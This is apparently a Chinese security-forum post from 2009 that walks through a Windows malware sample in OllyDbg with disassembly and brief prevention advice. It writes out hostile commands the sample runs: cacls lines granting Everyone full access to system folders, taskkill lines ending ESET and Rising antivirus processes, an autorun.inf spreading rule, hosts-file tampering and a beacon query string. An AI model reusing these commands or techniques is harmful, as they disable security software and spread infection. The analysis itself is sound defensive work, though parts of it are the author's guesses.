分析环境:xpsp2
分析方式:Ollydbg
如果运行中的是第一个实例,004012CA 56 push esi
004012CB FF15 28204000 call dword ptr [402028] ; kernel32.GlobalAddAtomA
004012D1 56 push esi
004012D2 53 push ebx
004012D3 53 push ebx
004012D4 FF15 24204000 call dword ptr [402024] ; kernel32.CreateMutexA
004012DA 8D45 F0 lea eax, dword ptr [ebp-10]
004012DD 50 push eax
004012DE FF15 0C204000 call dword ptr [40200C] ; kernel32.GetSystemTime
004012E4 BE 04010000 mov esi, 104
004012E9 8D85 ECFEFFFF lea eax, dword ptr [ebp-114]
004012EF 56 push esi
004012F0 50 push eax
004012F1 FF15 1C374000 call dword ptr [40371C] ; kernel32.GetSystemDirectoryA
004012F7 8D85 ECFEFFFF lea eax, dword ptr [ebp-114]
创建互斥体,获取当前系统时间日子和系统SYSTEM32目录。。
一连同样的代码获取了几次,,做了个时间的判断
0040133D 66:817D F0 D707 cmp word ptr [ebp-10], 7D7
00401343 0F86 42010000 jbe 0040148B
如果机子时间在07年前,就改变行为
跳了会有另一套动作,不过时间关系,,,
不跳就继续往下了
00401351 FF15 10374000 call dword ptr [403710] ; kernel32.GetWindowsDirectoryA
C:\Windows目录路径获取
cmd /c cacls C:\windows /e /p everyone:f 拼字游戏
容许对系统目录完全訪問
同样地,
00401383 8B1D 20204000 mov ebx, dword ptr [402020] ; kernel32.GetTempPathA
取得TEMP路径后实现完全访问权限
之后
cmd /c taskkill /im ekrn.exe /f
cmd /c taskkill /im egui.exe /f 结束ESET
cmd /c taskkill /im ScanFrm.exe /f 结束2009版瑞星的空闲时段查杀进程 (查的,不肯定)
截图很累,贴代码
00401483 FF15 1C204000 call dword ptr [40201C] ; kernel32.Sleep
00401489 33DB xor ebx, ebx
0040148B 8D85 ECFEFFFF lea eax, dword ptr [ebp-114]
00401491 56 push esi
00401492 50 push eax
00401493 FF15 10374000 call dword ptr [403710] ; kernel32.GetWindowsDirectoryA
00401499 8D85 ECFEFFFF lea eax, dword ptr [ebp-114]
0040149F 68 04364000 push 00403604 ; ASCII "\system32\func.dll"
004014A4 50 push eax
004014A5 E8 EA010000 call 00401694 ; jmp 到 msvcrt.strcat
等待,连接字符串,
004014BF 50 push eax
004014C0 57 push edi
004014C1 68 95000000 push 95
004014C6 E8 7BFCFFFF call 00401146
自定义的函数
函数做的
读取资源不贴
创建DLL
CreateFileA
0012F568 0012FEAC |FileName = "C:\windows\system32\func.dll"
0012F56C 40000000 |Access = GENERIC_WRITE
0012F570 00000000 |ShareMode = 0
0012F574 00000000 |pSecurity = NULL
0012F578 00000002 |Mode = CREATE_ALWAYS
0012F57C 00000000 |Attributes = 0
0012F580 00000000 \hTemplateFile = NULL
执行rundll32.exe func.dll, droqp
功能代码还在库里
00401519 50 push eax
0040151A 57 push edi
0040151B 68 8F000000 push 8F
00401520 E8 21FCFFFF call 00401146
呼叫同一个函数创建C:\Windows\phpi.dll
构造长文件名
C:\Ordownloads\xp.exe_o12aSkSLyZ
o7kM2pU3JNIyebXSaXwQ+5u9OVzZYT7DIkXdko_o12aSkSLyZo7UA3pNnKIIycaXQfmqg+yNVlMCzbJ6Car05hI
再次判断时间,如果在08年钱就加载刚才创建的C:\Windows\phpi.dll
获取当中导出的Scan函数
00401624 68 A8304000 push 004030A8 ; ASCII "Scan"
00401629 57 push edi
0040162A FF15 00204000 call dword ptr [402000] ; kernel32.GetProcAddress
时间关系草草了
中间很多OutPutDebugString(果然未完工)
PHPI.dll的SCAN函数中,比较了当前运行路径是否C:\windows\explorer.exe
0012E694 0012F5C4 |s1 = "C:\Ordownloads\xp.exe"
0012E698 0012E8B4 \s2 = "C:\windows\explorer.exe"
创建C:\windows\system32\drivers\pcidump.sys,不是要穿影子吧
0012E50C 0012E584 |FileName = "C:\windows\system32\drivers\pcidump.sys"
0012E510 40000000 |Access = GENERIC_WRITE
0012E514 00000000 |ShareMode = 0
0012E518 00000000 |pSecurity = NULL
0012E51C 00000002 |Mode = CREATE_ALWAYS
0012E520 00000000 |Attributes = 0
0012E524 00000000 \hTemplateFile = NULL
释放资源
打开SCM
10001BAA FF15 08040010 call dword ptr [<&ADVAPI32.OpenSCMana>; advapi32.OpenSCManagerA
10001BF3 FF15 10040010 call dword ptr [<&ADVAPI32.CreateServ>; advapi32.CreateServiceA
创建不成功的話就清理现场,删除项。。。
成功就启动服務10001CF9 FF15 0C040010 call dword ptr [<&ADVAPI32.StartServi>; advapi32.StartServiceA
,,,
驱动偶是不会的, 略
,这家伙写了两个服務项,另一个PUID
创建线程,
1
找EXPLORER的类名?
[quote]10002281 68 7C080010 push 1000087C ; ASCII "#32770"
10002286 FF15 90050010 call dword ptr [<&USER32.FindWindowA>>; user32.FindWindowA
有就ShowWindow
没就OutPutDebugStringA输出错误信息(估计,) 第二个线程
替换HOSTS
0012E640 0012E7B0 |FileName = "C:\windows\system32\drivers\etc\hosts"
重定向加屏蔽网站.. 第三个
10002827 FF15 7C040010 call dword ptr [<&KERNEL32.GetLogical>; kernel32.GetLogicalDriveStringsA
取盘符
CopyFileA 1.exe
循環写AUTORUN
10002965 68 B0080010 push 100008B0 ; ASCII "autorun.inf"
autorun.inf内容
[autorun]
Open=1.exe 第四个线程里有有关样本版本,操作系统的资料
100038EE C785 DCEFFFFF 6>mov dword ptr [ebp-1024], 10000A60 ; ASCII "v10"
100038F8 FFB5 10EFFFFF push dword ptr [ebp-10F0]
100038FE FFB5 DCEFFFFF push dword ptr [ebp-1024]
10003904 8D45 80 lea eax, dword ptr [ebp-80]
10003907 50 push eax
10003908 68 700A0010 push 10000A70 ; ASCII "?mac=%s&ver=%s&key=%d&os=windows"
打开网路连接 第五个不清楚哦
10004A8A C785 8CFDFFFF D>mov dword ptr [ebp-274], 10000BD8 ; ASCII "infect_exe"
10004A94 8BBD 8CFDFFFF mov edi, dword ptr [ebp-274]
10004A9A 83C9 FF or ecx, FFFFFFFF
10004A9D 33C0 xor eax, eax
10004A9F F2:AE repne scas byte ptr es:[edi]
10004AA1 F7D1 not ecx
10004AA3 49 dec ecx
10004AA4 83F9 02 cmp ecx, 2
10004AA7 76 15 jbe short 10004ABE
10004AA9 6A 00 push 0
10004AAB 6A 00 push 0
10004AAD 6A 00 push 0
10004AAF 68 AB460010 push 100046AB
10004AB4 6A 00 push 0
10004AB6 6A 00 push 0
10004AB8 FF15 8C040010 call dword ptr [<&KERNEL32.CreateThre>; kernel32.CreateThread感染型?
10004ABE FF75 0C push dword ptr [ebp+C]
10004AC1 E8 C1E8FFFF call 10003387
10004AC6 59 pop ecx
10004AC7 ^ E9 FFFEFFFF jmp 100049CB 感染失败重复执行以上的的代码?
干完了就来一个超长休息,退出,(其实就是不会退出,以上的线程是不断执行)。
00401676 68 005C2605 push 5265C00
0040167B FF15 1C204000 call dword ptr [40201C] ; kernel32.Sleep
00401681 5F pop edi
00401682 5E pop esi
00401683 33C0 xor eax, eax
00401685 5B pop ebx
00401686 C9 leave
00401687 C3 retn
预防方式:
1)杀软
2)禁止未知程序对RUNDLL32,SC,CMD的调用
3)禁止未知程序写windows目录,修改HOSTS,加载驱动
[ 本帖最后由 lunglungyu 于 2009-5-28 14:53 编辑 ] |